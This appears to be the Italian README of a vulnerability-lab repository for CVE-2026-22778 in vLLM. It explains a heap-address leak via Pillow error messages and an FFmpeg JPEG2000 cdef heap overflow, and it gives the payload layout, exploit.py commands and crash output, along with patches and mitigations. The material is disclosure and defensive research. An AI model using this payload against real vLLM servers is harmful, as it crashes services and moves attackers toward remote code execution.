
Proof-of-concept exploit per CVE-2026-22778, una RCE non autenticata nell'elaborazione video di vLLM, che dimostra la divulgazione di indirizzi heap e un heap buffer overflow nel decoder JPEG2000 di FFmpeg. Include un laboratorio vulnerabile per test autorizzati.
Laboratorio vulnerabile + proof of concept per CVE-2026-22778 (CVSS 9.8), una catena di esecuzione remota di codice non autenticata nel percorso di ingestione multimodale di vLLM.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| Versioni interessate | vLLM >= 0.8.3, < 0.14.1 (deployment che servono modelli video) |
| Corretta in | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Bug sottostante | CVE-2025-9951 — heap buffer overflow nel decoder JPEG2000 di FFmpeg |
Due difetti distinti concatenati tra loro. Un vllm serve predefinito non ha
autenticazione, quindi entrambi sono raggiungibili senza autenticazione su /v1/chat/completions e
/v1/invocations.
Quando un'immagine non riesce a essere analizzata, Pillow solleva un'eccezione il cui messaggio incorpora
il repr() dell'oggetto BytesIO da cui stava leggendo:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM trasformava gli errori di caricamento dei media in un HTTP 400 e restituiva
exc.detail al client senza modifiche
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- divulga l'indirizzo senza modifiche
...
Quel singolo indirizzo riduce l'ASLR dell'heap da ~32 bit di entropia a circa 3, ed è ciò che rende la fase 2 sfruttabile anziché un semplice crash.
Un video_url viene recuperato dal server e passato a OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (incluso in opencv-python-headless < 4.13)
vLLM ha fissato opencv-python-headless >= 4.11.0, che include FFmpeg 5.1.x. Il suo
decoder JPEG2000 seleziona il piano di destinazione direttamente dal box
channel-definition (cdef) del file — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* dal componente */
int h = tile->comp[compno].coord[1][1] - ...; /* non dal piano! */
plane è controllato dall'attaccante ma w/h provengono dal componente in fase di
decodifica, e nulla verifica che uno rientri nell'altro. Una voce cdef di
cn=0, asoc=2 invia il componente 0 — il piano luma a piena risoluzione — nel
piano 1, il piano chroma sottocampionato 2×2.
Per il frame 150×64 utilizzato da questo PoC:
| dimensione | |
|---|---|
| Componente Y (scritto) | 150 × 64 = 9.600 byte |
| Piano U (destinazione) | 75 × 32 = 2.400 byte |
| Overflow | 7.200 byte oltre l'allocazione |
FFmpeg alloca ogni piano come un proprio AVBuffer, quindi l'overflow attraversa
i chunk heap adiacenti — inclusi gli struct AVBuffer che contengono un puntatore a funzione
free. Combinato con la leak della fase 1, sovrascrivere quel
puntatore è ciò che trasforma la corruzione in esecuzione di codice.
Questo PoC si ferma alla corruzione della memoria. Dimostra la scrittura fuori dai limiti terminando il processo del server. Il heap grooming e la sovrascrittura del puntatore a funzione non sono deliberatamente implementati.
lab/app.py è una reimplementazione minimale del percorso di ingestione multimodale di
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend e il
gestore degli errori pre-patch, ciascuno annotato con il file upstream che replica. Il
runtime del modello è simulato: la vulnerabilità risiede interamente nell'ingestione
dei media, che viene eseguita prima dell'inferenza e non richiede GPU o pesi del modello.
Tutto sul percorso di attacco è reale — la stessa chiamata Pillow che
divulga l'indirizzo, e la stessa chiamata cv2.VideoCapture in un
opencv-python-headless==4.11.0.86 non patchato (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Opzioni:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # consegna il payload via HTTP
python3 exploit.py --write-payload evil.jp2 # scrive solo il file dannoso
L'exploit usa esclusivamente la libreria standard — nessuna dipendenza.
[*] Fase 1 -- divulgazione dell'indirizzo heap tramite messaggio di errore PIL
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Indirizzo heap divulgato: 0xffff8f555300
ASLR bypassato: la base dell'heap è ora nota a ~3 bit di entropia.
[*] Fase 2 -- heap buffer overflow nel decoder JPEG2000
Target attivo: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 byte, JP2 150x64 yuv420p
cdef mappa il componente 0 -> piano 1: scrive 9600 byte in un piano da 2400 byte (overflow di 7200 byte)
Richiesta mai completata: l'estremità remota ha chiuso la connessione senza risposta
Verifica di /health per vedere cosa è successo al worker...
[+] Il worker è stato terminato e riavviato: boot_id 95b62f18-... -> 4494d28c-...
[+] Scrittura fuori dai limiti confermata.
E sul lato server:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Smontaggio:
docker compose down
203 byte, costruiti da zero in build_payload(). Un contenitore JP2 che contiene un
codestream JPEG2000 minimale che dichiara tre componenti con sottocampionamento 4:2:0
(così FFmpeg alloca un frame yuv420p), più un box cdef che li
rimappa:
cn=0, typ=0, asoc=2 <-- componente 0 (risoluzione piena) nel piano 1 (sottocampionato)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
I dati dei coefficienti sono vuoti. Il decoder alloca comunque il frame dall'header
SIZ ed esegue comunque il ciclo di scrittura, quindi non sono necessari dati immagine reali.
vLLM 0.14.1, tramite tre PR:
sanitize_message(), che rimuove at 0x<addr>> dai repr degli oggetti prima che
raggiungano il client.opencv-python-headless a >= 4.13.0, includendo la correzione FFmpeg per
CVE-2025-9951.FFmpeg upstream ora rifiuta una mappa cdef che non sia una permutazione dei
canali, e deriva il formato pixel dagli indici rimappati:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Portando il pin del laboratorio a opencv-python-headless>=4.13.0, lo stesso
payload fallisce in modo innocuo con error during processing marker segment ff51.
Se non puoi aggiornare: non servire modelli video, metti l'autenticazione davanti
all'API e limita il recupero dei media con --allowed-media-domains.
docker compose compili per l'architettura arm64
nativa (quella predefinita). Forzare --platform linux/amd64 esegue il
container in emulazione, dove il processo che termina si blocca invece di
uscire e il crash è più difficile da osservare.Solo per scopi educativi e test di sicurezza autorizzati. Eseguilo contro il laboratorio in questo repository o su sistemi per cui hai esplicita autorizzazione al test.